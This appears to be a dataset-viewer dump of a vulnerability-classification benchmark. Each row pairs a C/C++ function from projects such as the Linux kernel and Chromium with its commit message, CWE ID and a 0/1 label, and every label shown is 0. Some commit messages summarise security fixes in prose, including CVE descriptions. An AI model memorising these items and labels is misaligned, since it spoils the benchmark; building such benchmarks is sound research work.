instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RootWindowHostLinux::Show() {
XSizeHints size_hints;
size_hints.flags = PPosition;
size_hints.x = bounds_.x();
size_hints.y = bounds_.y();
XSetWMNormalHints(xdisplay_, xwindow_, &size_hints);
XMapWindow(xdisplay_, xwindow_);
}
Commit Message: Introduce XGetImage() for GrabWindowSnapshot() in ChromeOS.
BUG=119492
TEST=manually done
Review URL: https://chromiumcodereview.appspot.com/10386124
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@137556 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 104,011
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ext2_statfs (struct dentry * dentry, struct kstatfs * buf)
{
struct super_block *sb = dentry->d_sb;
struct ext2_sb_info *sbi = EXT2_SB(sb);
struct ext2_super_block *es = sbi->s_es;
u64 fsid;
spin_lock(&sbi->s_lock);
if (test_opt (sb, MINIX_DF))
sbi->s_overhead_last = 0;
else if (sbi->s_blocks_last != le32_to_cpu(es->s_blocks_count)) {
unsigned long i, overhead = 0;
smp_rmb();
/*
* Compute the overhead (FS structures). This is constant
* for a given filesystem unless the number of block groups
* changes so we cache the previous value until it does.
*/
/*
* All of the blocks before first_data_block are
* overhead
*/
overhead = le32_to_cpu(es->s_first_data_block);
/*
* Add the overhead attributed to the superblock and
* block group descriptors. If the sparse superblocks
* feature is turned on, then not all groups have this.
*/
for (i = 0; i < sbi->s_groups_count; i++)
overhead += ext2_bg_has_super(sb, i) +
ext2_bg_num_gdb(sb, i);
/*
* Every block group has an inode bitmap, a block
* bitmap, and an inode table.
*/
overhead += (sbi->s_groups_count *
(2 + sbi->s_itb_per_group));
sbi->s_overhead_last = overhead;
smp_wmb();
sbi->s_blocks_last = le32_to_cpu(es->s_blocks_count);
}
buf->f_type = EXT2_SUPER_MAGIC;
buf->f_bsize = sb->s_blocksize;
buf->f_blocks = le32_to_cpu(es->s_blocks_count) - sbi->s_overhead_last;
buf->f_bfree = ext2_count_free_blocks(sb);
es->s_free_blocks_count = cpu_to_le32(buf->f_bfree);
buf->f_bavail = buf->f_bfree - le32_to_cpu(es->s_r_blocks_count);
if (buf->f_bfree < le32_to_cpu(es->s_r_blocks_count))
buf->f_bavail = 0;
buf->f_files = le32_to_cpu(es->s_inodes_count);
buf->f_ffree = ext2_count_free_inodes(sb);
es->s_free_inodes_count = cpu_to_le32(buf->f_ffree);
buf->f_namelen = EXT2_NAME_LEN;
fsid = le64_to_cpup((void *)es->s_uuid) ^
le64_to_cpup((void *)es->s_uuid + sizeof(u64));
buf->f_fsid.val[0] = fsid & 0xFFFFFFFFUL;
buf->f_fsid.val[1] = (fsid >> 32) & 0xFFFFFFFFUL;
spin_unlock(&sbi->s_lock);
return 0;
}
Commit Message: ext2: convert to mbcache2
The conversion is generally straightforward. We convert filesystem from
a global cache to per-fs one. Similarly to ext4 the tricky part is that
xattr block corresponding to found mbcache entry can get freed before we
get buffer lock for that block. So we have to check whether the entry is
still valid after getting the buffer lock.
Signed-off-by: Jan Kara <jack@suse.cz>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
CWE ID: CWE-19
| 0
| 94,969
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::CreateNewWidget(int32_t render_process_id,
int32_t route_id,
bool is_fullscreen,
mojom::WidgetPtr widget,
blink::WebPopupType popup_type) {
RenderProcessHost* process = RenderProcessHost::FromID(render_process_id);
if (!HasMatchingProcess(&frame_tree_, render_process_id)) {
ReceivedBadMessage(process, bad_message::WCI_NEW_WIDGET_PROCESS_MISMATCH);
return;
}
RenderWidgetHostImpl* widget_host = new RenderWidgetHostImpl(
this, process, route_id, std::move(widget), IsHidden());
RenderWidgetHostViewBase* widget_view =
static_cast<RenderWidgetHostViewBase*>(
view_->CreateViewForPopupWidget(widget_host));
if (!widget_view)
return;
if (!is_fullscreen) {
widget_view->SetPopupType(popup_type);
}
pending_widget_views_[std::make_pair(render_process_id, route_id)] =
widget_view;
#if defined(OS_MACOSX)
base::mac::NSObjectRetain(widget_view->GetNativeView());
#endif
}
Commit Message: If a page calls |window.focus()|, kick it out of fullscreen.
BUG=776418, 800056
Change-Id: I1880fe600e4814c073f247c43b1c1ac80c8fc017
Reviewed-on: https://chromium-review.googlesource.com/852378
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Reviewed-by: Philip Jägenstedt <foolip@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#533790}
CWE ID:
| 0
| 147,689
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static char *get_username(void)
{
struct passwd *pwd = getpwuid(getuid());
if (pwd == NULL) {
perror("getpwuid");
return NULL;
}
return pwd->pw_name;
}
Commit Message: CVE-2017-5985: Ensure target netns is caller-owned
Before this commit, lxc-user-nic could potentially have been tricked into
operating on a network namespace over which the caller did not hold privilege.
This commit ensures that the caller is privileged over the network namespace by
temporarily dropping privilege.
Launchpad: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1654676
Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
CWE ID: CWE-862
| 0
| 68,457
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Browser::SavePage() {
UserMetrics::RecordAction(UserMetricsAction("SavePage"), profile_);
TabContents* current_tab = GetSelectedTabContents();
if (current_tab && current_tab->contents_mime_type() == "application/pdf")
UserMetrics::RecordAction(UserMetricsAction("PDF.SavePage"), profile_);
GetSelectedTabContentsWrapper()->download_tab_helper()->OnSavePage();
}
Commit Message: chromeos: fix bug where "aw snap" page replaces first tab if it was a NTP when closing window with > 1 tab.
BUG=chromium-os:12088
TEST=verify bug per bug report.
Review URL: http://codereview.chromium.org/6882058
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@83031 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 98,304
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int resolve_dev_console(char **ret) {
_cleanup_free_ char *active = NULL;
char *tty;
int r;
assert(ret);
/* Resolve where /dev/console is pointing to, if /sys is actually ours (i.e. not read-only-mounted which is a
* sign for container setups) */
if (path_is_read_only_fs("/sys") > 0)
return -ENOMEDIUM;
r = read_one_line_file("/sys/class/tty/console/active", &active);
if (r < 0)
return r;
/* If multiple log outputs are configured the last one is what /dev/console points to */
tty = strrchr(active, ' ');
if (tty)
tty++;
else
tty = active;
if (streq(tty, "tty0")) {
active = mfree(active);
/* Get the active VC (e.g. tty1) */
r = read_one_line_file("/sys/class/tty/tty0/active", &active);
if (r < 0)
return r;
tty = active;
}
if (tty == active)
*ret = TAKE_PTR(active);
else {
char *tmp;
tmp = strdup(tty);
if (!tmp)
return -ENOMEM;
*ret = tmp;
}
return 0;
}
Commit Message: Merge pull request #12378 from rbalint/vt-kbd-reset-check
VT kbd reset check
CWE ID: CWE-255
| 0
| 92,409
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int create_vcpu_fd(struct kvm_vcpu *vcpu)
{
return anon_inode_getfd("kvm-vcpu", &kvm_vcpu_fops, vcpu, O_RDWR | O_CLOEXEC);
}
Commit Message: KVM: Improve create VCPU parameter (CVE-2013-4587)
In multiple functions the vcpu_id is used as an offset into a bitfield. Ag
malicious user could specify a vcpu_id greater than 255 in order to set or
clear bits in kernel memory. This could be used to elevate priveges in the
kernel. This patch verifies that the vcpu_id provided is less than 255.
The api documentation already specifies that the vcpu_id must be less than
max_vcpus, but this is currently not checked.
Reported-by: Andrew Honig <ahonig@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andrew Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20
| 0
| 29,305
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int eseqiv_givencrypt(struct skcipher_givcrypt_request *req)
{
struct crypto_ablkcipher *geniv = skcipher_givcrypt_reqtfm(req);
struct eseqiv_ctx *ctx = crypto_ablkcipher_ctx(geniv);
struct eseqiv_request_ctx *reqctx = skcipher_givcrypt_reqctx(req);
struct ablkcipher_request *subreq;
crypto_completion_t compl;
void *data;
struct scatterlist *osrc, *odst;
struct scatterlist *dst;
struct page *srcp;
struct page *dstp;
u8 *giv;
u8 *vsrc;
u8 *vdst;
__be64 seq;
unsigned int ivsize;
unsigned int len;
int err;
subreq = (void *)(reqctx->tail + ctx->reqoff);
ablkcipher_request_set_tfm(subreq, skcipher_geniv_cipher(geniv));
giv = req->giv;
compl = req->creq.base.complete;
data = req->creq.base.data;
osrc = req->creq.src;
odst = req->creq.dst;
srcp = sg_page(osrc);
dstp = sg_page(odst);
vsrc = PageHighMem(srcp) ? NULL : page_address(srcp) + osrc->offset;
vdst = PageHighMem(dstp) ? NULL : page_address(dstp) + odst->offset;
ivsize = crypto_ablkcipher_ivsize(geniv);
if (vsrc != giv + ivsize && vdst != giv + ivsize) {
giv = PTR_ALIGN((u8 *)reqctx->tail,
crypto_ablkcipher_alignmask(geniv) + 1);
compl = eseqiv_complete;
data = req;
}
ablkcipher_request_set_callback(subreq, req->creq.base.flags, compl,
data);
sg_init_table(reqctx->src, 2);
sg_set_buf(reqctx->src, giv, ivsize);
scatterwalk_crypto_chain(reqctx->src, osrc, vsrc == giv + ivsize, 2);
dst = reqctx->src;
if (osrc != odst) {
sg_init_table(reqctx->dst, 2);
sg_set_buf(reqctx->dst, giv, ivsize);
scatterwalk_crypto_chain(reqctx->dst, odst, vdst == giv + ivsize, 2);
dst = reqctx->dst;
}
ablkcipher_request_set_crypt(subreq, reqctx->src, dst,
req->creq.nbytes + ivsize,
req->creq.info);
memcpy(req->creq.info, ctx->salt, ivsize);
len = ivsize;
if (ivsize > sizeof(u64)) {
memset(req->giv, 0, ivsize - sizeof(u64));
len = sizeof(u64);
}
seq = cpu_to_be64(req->seq);
memcpy(req->giv + ivsize - len, &seq, len);
err = crypto_ablkcipher_encrypt(subreq);
if (err)
goto out;
if (giv != req->giv)
eseqiv_complete2(req);
out:
return err;
}
Commit Message: crypto: include crypto- module prefix in template
This adds the module loading prefix "crypto-" to the template lookup
as well.
For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly
includes the "crypto-" prefix at every level, correctly rejecting "vfat":
net-pf-38
algif-hash
crypto-vfat(blowfish)
crypto-vfat(blowfish)-all
crypto-vfat
Reported-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Kees Cook <keescook@chromium.org>
Acked-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 45,720
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct menu *pxe_menu_to_menu(struct pxe_menu *cfg)
{
struct pxe_label *label;
struct list_head *pos;
struct menu *m;
int err;
int i = 1;
char *default_num = NULL;
/*
* Create a menu and add items for all the labels.
*/
m = menu_create(cfg->title, DIV_ROUND_UP(cfg->timeout, 10),
cfg->prompt, label_print, NULL, NULL);
if (!m)
return NULL;
list_for_each(pos, &cfg->labels) {
label = list_entry(pos, struct pxe_label, list);
sprintf(label->num, "%d", i++);
if (menu_item_add(m, label->num, label) != 1) {
menu_destroy(m);
return NULL;
}
if (cfg->default_label &&
(strcmp(label->name, cfg->default_label) == 0))
default_num = label->num;
}
/*
* After we've created items for each label in the menu, set the
* menu's default label if one was specified.
*/
if (default_num) {
err = menu_default_set(m, default_num);
if (err != 1) {
if (err != -ENOENT) {
menu_destroy(m);
return NULL;
}
printf("Missing default: %s\n", cfg->default_label);
}
}
return m;
}
Commit Message: Merge branch '2020-01-22-master-imports'
- Re-add U8500 platform support
- Add bcm968360bg support
- Assorted Keymile fixes
- Other assorted bugfixes
CWE ID: CWE-787
| 0
| 89,353
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void StreamTcpSessionPoolCleanup(void *s)
{
if (s != NULL) {
StreamTcpSessionCleanup(s);
/** \todo not very clean, as the memory is not freed here */
StreamTcpDecrMemuse((uint64_t)sizeof(TcpSession));
}
}
Commit Message: stream: support RST getting lost/ignored
In case of a valid RST on a SYN, the state is switched to 'TCP_CLOSED'.
However, the target of the RST may not have received it, or may not
have accepted it. Also, the RST may have been injected, so the supposed
sender may not actually be aware of the RST that was sent in it's name.
In this case the previous behavior was to switch the state to CLOSED and
accept no further TCP updates or stream reassembly.
This patch changes this. It still switches the state to CLOSED, as this
is by far the most likely to be correct. However, it will reconsider
the state if the receiver continues to talk.
To do this on each state change the previous state will be recorded in
TcpSession::pstate. If a non-RST packet is received after a RST, this
TcpSession::pstate is used to try to continue the conversation.
If the (supposed) sender of the RST is also continueing the conversation
as normal, it's highly likely it didn't send the RST. In this case
a stream event is generated.
Ticket: #2501
Reported-By: Kirill Shipulin
CWE ID:
| 0
| 79,223
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void InsertStdSamplerOffset( FlowSource_t *fs, uint16_t id, uint16_t offset_std_sampler_interval, uint16_t offset_std_sampler_algorithm) {
option_offset_t **t;
t = &(fs->option_offset_table);
while ( *t ) {
if ( (*t)->id == id ) { // table already known to us - update data
dbg_printf("Found existing std sampling info in template %i\n", id);
break;
}
t = &((*t)->next);
}
if ( *t == NULL ) { // new table
dbg_printf("Allocate new std sampling info from template %i\n", id);
*t = (option_offset_t *)calloc(1, sizeof(option_offset_t));
if ( !*t ) {
LogError("malloc() allocation error at %s line %u: %s" , __FILE__, __LINE__, strerror (errno));
return ;
}
LogInfo("Process_v9: New std sampler: interval: %i, algorithm: %i",
offset_std_sampler_interval, offset_std_sampler_algorithm);
} // else existing table
dbg_printf("Insert/Update sampling info from template %i\n", id);
SetFlag((*t)->flags, HAS_STD_SAMPLER_DATA);
(*t)->id = id;
(*t)->offset_id = 0;
(*t)->offset_mode = 0;
(*t)->offset_interval = 0;
(*t)->offset_std_sampler_interval = offset_std_sampler_interval;
(*t)->offset_std_sampler_algorithm = offset_std_sampler_algorithm;
} // End of InsertStdSamplerOffset
Commit Message: Fix potential unsigned integer underflow
CWE ID: CWE-190
| 0
| 88,772
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static MagickBooleanType WriteHRZImage(const ImageInfo *image_info,Image *image)
{
Image
*hrz_image;
MagickBooleanType
status;
register const PixelPacket
*p;
register ssize_t
x,
y;
register unsigned char
*q;
ssize_t
count;
unsigned char
*pixels;
/*
Open output image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
assert(image != (Image *) NULL);
assert(image->signature == MagickSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);
if (status == MagickFalse)
return(status);
hrz_image=ResizeImage(image,256,240,image->filter,image->blur,
&image->exception);
if (hrz_image == (Image *) NULL)
return(MagickFalse);
(void) TransformImageColorspace(hrz_image,sRGBColorspace);
/*
Allocate memory for pixels.
*/
pixels=(unsigned char *) AcquireQuantumMemory((size_t) hrz_image->columns,
3*sizeof(*pixels));
if (pixels == (unsigned char *) NULL)
{
hrz_image=DestroyImage(hrz_image);
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
}
/*
Convert MIFF to HRZ raster pixels.
*/
for (y=0; y < (ssize_t) hrz_image->rows; y++)
{
p=GetVirtualPixels(hrz_image,0,y,hrz_image->columns,1,&image->exception);
if (p == (PixelPacket *) NULL)
break;
q=pixels;
for (x=0; x < (ssize_t) hrz_image->columns; x++)
{
*q++=ScaleQuantumToChar(GetPixelRed(p)/4);
*q++=ScaleQuantumToChar(GetPixelGreen(p)/4);
*q++=ScaleQuantumToChar(GetPixelBlue(p)/4);
p++;
}
count=WriteBlob(image,(size_t) (q-pixels),pixels);
if (count != (ssize_t) (q-pixels))
break;
status=SetImageProgress(image,SaveImageTag,y,hrz_image->rows);
if (status == MagickFalse)
break;
}
pixels=(unsigned char *) RelinquishMagickMemory(pixels);
hrz_image=DestroyImage(hrz_image);
(void) CloseBlob(image);
return(MagickTrue);
}
Commit Message:
CWE ID: CWE-119
| 0
| 71,572
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int tiocsetd(struct tty_struct *tty, int __user *p)
{
int ldisc;
int ret;
if (get_user(ldisc, p))
return -EFAULT;
ret = tty_set_ldisc(tty, ldisc);
return ret;
}
Commit Message: TTY: drop driver reference in tty_open fail path
When tty_driver_lookup_tty fails in tty_open, we forget to drop a
reference to the tty driver. This was added by commit 4a2b5fddd5 (Move
tty lookup/reopen to caller).
Fix that by adding tty_driver_kref_put to the fail path.
I will refactor the code later. This is for the ease of backporting to
stable.
Introduced-in: v2.6.28-rc2
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: stable <stable@vger.kernel.org>
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>
Acked-by: Sukadev Bhattiprolu <sukadev@linux.vnet.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
CWE ID:
| 0
| 58,744
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int memcg_oom_wake_function(wait_queue_t *wait,
unsigned mode, int sync, void *arg)
{
struct mem_cgroup *wake_memcg = (struct mem_cgroup *)arg,
*oom_wait_memcg;
struct oom_wait_info *oom_wait_info;
oom_wait_info = container_of(wait, struct oom_wait_info, wait);
oom_wait_memcg = oom_wait_info->mem;
/*
* Both of oom_wait_info->mem and wake_mem are stable under us.
* Then we can use css_is_ancestor without taking care of RCU.
*/
if (!mem_cgroup_same_or_subtree(oom_wait_memcg, wake_memcg)
&& !mem_cgroup_same_or_subtree(wake_memcg, oom_wait_memcg))
return 0;
return autoremove_wake_function(wait, mode, sync, arg);
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[akpm@linux-foundation.org: checkpatch fixes]
Reported-by: Ulrich Obergfell <uobergfe@redhat.com>
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Hugh Dickins <hughd@google.com>
Cc: Dave Jones <davej@redhat.com>
Acked-by: Larry Woodman <lwoodman@redhat.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: Mark Salter <msalter@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264
| 0
| 21,163
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Gfx::opSetStrokeRGBColor(Object args[], int numArgs) {
GfxColor color;
int i;
state->setStrokePattern(NULL);
state->setStrokeColorSpace(new GfxDeviceRGBColorSpace());
out->updateStrokeColorSpace(state);
for (i = 0; i < 3; ++i) {
color.c[i] = dblToCol(args[i].getNum());
}
state->setStrokeColor(&color);
out->updateStrokeColor(state);
}
Commit Message:
CWE ID: CWE-20
| 0
| 8,161
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool DownloadManagerImpl::DownloadUrl(
std::unique_ptr<download::DownloadUrlParameters> params) {
DownloadUrl(std::move(params), nullptr /* blob_data_handle */,
nullptr /* blob_url_loader_factory */);
return true;
}
Commit Message: Early return if a download Id is already used when creating a download
This is protect against download Id overflow and use-after-free
issue.
BUG=958533
Change-Id: I2c183493cb09106686df9822b3987bfb95bcf720
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1591485
Reviewed-by: Xing Liu <xingliu@chromium.org>
Commit-Queue: Min Qin <qinmin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#656910}
CWE ID: CWE-416
| 0
| 151,200
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int ssl_check_clienthello_tlsext_late(SSL *s, int *al)
{
s->tlsext_status_expected = 0;
/*
* If status request then ask callback what to do. Note: this must be
* called after servername callbacks in case the certificate has changed,
* and must be called after the cipher has been chosen because this may
* influence which certificate is sent
*/
if ((s->tlsext_status_type != -1) && s->ctx && s->ctx->tlsext_status_cb) {
int ret;
CERT_PKEY *certpkey;
certpkey = ssl_get_server_send_pkey(s);
/* If no certificate can't return certificate status */
if (certpkey != NULL) {
/*
* Set current certificate to one we will use so SSL_get_certificate
* et al can pick it up.
*/
s->cert->key = certpkey;
ret = s->ctx->tlsext_status_cb(s, s->ctx->tlsext_status_arg);
switch (ret) {
/* We don't want to send a status request response */
case SSL_TLSEXT_ERR_NOACK:
s->tlsext_status_expected = 0;
break;
/* status request response should be sent */
case SSL_TLSEXT_ERR_OK:
if (s->tlsext_ocsp_resp)
s->tlsext_status_expected = 1;
break;
/* something bad happened */
case SSL_TLSEXT_ERR_ALERT_FATAL:
default:
*al = SSL_AD_INTERNAL_ERROR;
return 0;
}
}
}
if (!tls1_alpn_handle_client_hello_late(s, al)) {
return 0;
}
return 1;
}
Commit Message:
CWE ID: CWE-20
| 0
| 9,422
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool __ip_vs_addr_is_local_v6(struct net *net,
const struct in6_addr *addr)
{
struct flowi6 fl6 = {
.daddr = *addr,
};
struct dst_entry *dst = ip6_route_output(net, NULL, &fl6);
bool is_local;
is_local = !dst->error && dst->dev && (dst->dev->flags & IFF_LOOPBACK);
dst_release(dst);
return is_local;
}
Commit Message: ipvs: fix info leak in getsockopt(IP_VS_SO_GET_TIMEOUT)
If at least one of CONFIG_IP_VS_PROTO_TCP or CONFIG_IP_VS_PROTO_UDP is
not set, __ip_vs_get_timeouts() does not fully initialize the structure
that gets copied to userland and that for leaks up to 12 bytes of kernel
stack. Add an explicit memset(0) before passing the structure to
__ip_vs_get_timeouts() to avoid the info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Wensong Zhang <wensong@linux-vs.org>
Cc: Simon Horman <horms@verge.net.au>
Cc: Julian Anastasov <ja@ssi.bg>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 34,171
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int allmbox_p(void *rock,
const char *key,
size_t keylen,
const char *data,
size_t datalen)
{
struct allmb_rock *mbrock = (struct allmb_rock *)rock;
int r;
/* skip any dollar keys */
if (keylen && key[0] == '$') return 0;
/* free previous record */
mboxlist_entry_free(&mbrock->mbentry);
r = mboxlist_parse_entry(&mbrock->mbentry, key, keylen, data, datalen);
if (r) return 0;
if (!(mbrock->flags & MBOXTREE_TOMBSTONES) && (mbrock->mbentry->mbtype & MBTYPE_DELETED))
return 0;
return 1; /* process this record */
}
Commit Message: mboxlist: fix uninitialised memory use where pattern is "Other Users"
CWE ID: CWE-20
| 0
| 61,238
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
